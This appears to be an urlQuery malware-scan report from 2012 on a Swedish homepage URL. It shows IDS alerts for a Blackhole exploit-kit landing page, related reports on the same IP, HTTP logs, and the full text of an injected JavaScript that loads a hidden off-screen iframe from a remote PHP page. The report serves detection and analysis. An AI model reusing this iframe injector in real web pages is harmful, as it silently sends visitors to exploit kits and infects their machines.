Overview

URLhttp://hem.passagen.se/andreasvalegard/elevradremix/?k
IP91.196.241.100
ASNAS44368 ASDELTAMANAGEMENT DELTA MANAGEMENT AB
Location Sweden
Report completed2012-11-05 21:30:11 CET
StatusLoading report..
urlQuery Alerts Detected malicious iframe injection


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro No alerts detected
Snort /w Sourcefire VRT
Timestamp Source IP Destination IP Severity Alert
2012-11-05 21:29:38 91.196.241.100 urlQuery Client1EXPLOIT-KIT Blackhole landing page with specific structure - prototype catch
2012-11-05 21:29:39 91.196.241.100 urlQuery Client1EXPLOIT-KIT Blackhole landing page with specific structure - prototype catch


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 91.196.241.100

Date Alerts / IDS URL IP
2013-02-01 05:43:251 / 4http://medlem.spray.se/c0n1n/ciaalis.html91.196.241.100
2013-01-30 19:49:501 / 4http://medlem.spray.se/c0n1n/ciaalis.html91.196.241.100
2013-01-20 01:20:360 / 1http://medlem.spray.se/lds92fkjldksfj/best-deals-on-hotels-near-disneyland.html91.196.241.100
2013-01-17 16:16:530 / 3http://hem.passagen.se/flowerbusan/khandeh.exe91.196.241.100
2012-12-30 07:37:120 / 5http://medlem.spray.se/osdjf8sodf/fastway-foot-pegs.html91.196.241.100
2012-12-30 07:33:580 / 5http://medlem.spray.se/sdkfh57kjsdhf/cats-egyptian-gods.html91.196.241.100

Last 6 reports on ASN: AS44368 ASDELTAMANAGEMENT DELTA MANAGEMENT AB

Date Alerts / IDS URL IP
2013-02-06 05:10:550 / 2http://www.spray.se/?fb_xd_fragment91.196.241.10
2013-02-03 22:40:170 / 4http://www.spray.se/?fb_xd_fragment91.196.241.10
2013-02-01 05:43:251 / 4http://medlem.spray.se/c0n1n/ciaalis.html91.196.241.100
2013-01-30 19:49:501 / 4http://medlem.spray.se/c0n1n/ciaalis.html91.196.241.100
2013-01-20 01:20:360 / 1http://medlem.spray.se/lds92fkjldksfj/best-deals-on-hotels-near-disneyland.html91.196.241.100
2013-01-17 16:16:530 / 3http://hem.passagen.se/flowerbusan/khandeh.exe91.196.241.100

Last 3 reports on domain: hem.passagen.se

Date Alerts / IDS URL IP
2013-01-17 16:16:530 / 3http://hem.passagen.se/flowerbusan/khandeh.exe91.196.241.100
2012-11-22 00:33:120 / 1http://hem.passagen.se/berulars/main.htm91.196.241.100
2012-10-21 07:34:581 / 0http://hem.passagen.se/xtrl/images/usa/index_usa.htm?k91.196.241.100



JavaScript

Executed Scripts (3)

#1 JavaScript::Script (size: 292, repeated: 1) - Alert detect on script (Severity: 2)

function frmAdd() {
    var ifrm = document.createElement('iframe');
    ifrm.style.position = 'absolute';
    ifrm.style.top = '-999em';
    ifrm.style.left = '-999em';
    ifrm.src = "http://www.vinivicenza.com/language/template.php";
    ifrm.id = 'frmId';
    document.body.appendChild(ifrm);
};
window.onload = frmAdd;

Executed Evals (0)


Executed Writes (1)

#1 JavaScript::Write (size: 324, repeated: 1) 

<html><frameset rows="89,*" frameborder="0" border="0" framespacing="0"><frame src="http://hem.passagen.se/TopFrame/new/topwindow_v4.shtml/andreasvalegard/" name="PasTop" scrolling="no" noresize><frame src="http://hem.passagen.se/andreasvalegard/elevradremix/?k?k" name="PasMain" scrolling="auto" noresize></frameset></html>


HTTP Transactions (11)


Request Response 
GET /andreasvalegard/elevradremix/?k HTTP/1.1

Host: hem.passagen.se

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Mon, 05 Nov 2012 20:29:38 GMT
Server: Apache/2.2.16 (Debian)
Last-Modified: Sat, 13 Oct 2012 19:40:01 GMT
Etag: &quot;40625d42-6a25-4cbf5f85b83e0&quot;
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 7005
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
GET /TopFrame/frameit.js HTTP/1.1

Host: hem.passagen.se

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://hem.passagen.se/andreasvalegard/elevradremix/?k
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Mon, 05 Nov 2012 20:29:38 GMT
Server: Apache/2.2.16 (Debian)
Last-Modified: Mon, 07 Dec 2009 11:03:22 GMT
Etag: &quot;40350330-8d6-47a2167deb280&quot;
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 689
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
GET /TopFrame/new/topwindow_v4.shtml/andreasvalegard/ HTTP/1.1

Host: hem.passagen.se

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://hem.passagen.se/andreasvalegard/elevradremix/?k
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Mon, 05 Nov 2012 20:29:39 GMT
Server: Apache/2.2.16 (Debian)
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1471
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
GET /andreasvalegard/elevradremix/?k?k HTTP/1.1

Host: hem.passagen.se

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://hem.passagen.se/andreasvalegard/elevradremix/?k
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Mon, 05 Nov 2012 20:29:39 GMT
Server: Apache/2.2.16 (Debian)
Last-Modified: Sat, 13 Oct 2012 19:40:01 GMT
Etag: &quot;40625d42-6a25-4cbf5f85b83e0&quot;
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 7005
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
GET /TopFrame/new/TWstyle4.css HTTP/1.1

Host: hem.passagen.se

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://hem.passagen.se/TopFrame/new/topwindow_v4.shtml/andreasvalegard/
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Mon, 05 Nov 2012 20:29:39 GMT
Server: Apache/2.2.16 (Debian)
Last-Modified: Tue, 28 Sep 2004 07:09:27 GMT
Etag: &quot;805ded34-81b-3e521203297c0&quot;
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 455
Keep-Alive: timeout=15, max=97
Connection: Keep-Alive
GET /TopFrame/new/pics/bitos.gif HTTP/1.1

Host: hem.passagen.se

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://hem.passagen.se/TopFrame/new/topwindow_v4.shtml/andreasvalegard/
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Mon, 05 Nov 2012 20:29:39 GMT
Server: Apache/2.2.16 (Debian)
Last-Modified: Wed, 27 Oct 2004 13:19:45 GMT
Etag: &quot;c0487547-53-3e76dade43e40&quot;
Accept-Ranges: bytes
Content-Length: 83
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
GET /favicon.ico HTTP/1.1

Host: hem.passagen.se

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: image/x-icon

Date: Mon, 05 Nov 2012 20:29:39 GMT
Server: Apache/2.2.16 (Debian)
Last-Modified: Tue, 01 Feb 2005 11:59:33 GMT
Etag: &quot;4058060f-47e-3ef0bddae5340&quot;
Accept-Ranges: bytes
Content-Length: 1150
Keep-Alive: timeout=15, max=96
Connection: Keep-Alive
GET /10.php/ HTTP/1.1

Host: sbtnj.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://hem.passagen.se/andreasvalegard/elevradremix/?k?k
 
HTTP/1.1 404 Not Found

Content-Type: text/html

Date: Mon, 05 Nov 2012 20:19:04 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
GET /favicon.ico HTTP/1.1

Host: sbtnj.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 404 Not Found

Content-Type: text/html

Date: Mon, 05 Nov 2012 20:19:04 GMT
Server: Apache
Last-Modified: Tue, 23 Aug 2011 17:12:50 GMT
Etag: &quot;c3801c-e1c-4e53df92&quot;
Accept-Ranges: bytes
Content-Length: 3612
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
GET /favicon.ico HTTP/1.1

Host: sbtnj.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Range: bytes=0-
If-Range: &quot;c3801c-e1c-4e53df92&quot;
 
HTTP/1.1 404 Not Found

Content-Type: text/html

Date: Mon, 05 Nov 2012 20:19:06 GMT
Server: Apache
Last-Modified: Tue, 23 Aug 2011 17:12:50 GMT
Etag: &quot;c3801c-e1c-4e53df92&quot;
Accept-Ranges: bytes
Content-Length: 3612
Keep-Alive: timeout=15, max=97
Connection: Keep-Alive
GET /local/pix.gif HTTP/1.1

Host: www.passagen.se

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://hem.passagen.se/TopFrame/new/topwindow_v4.shtml/andreasvalegard/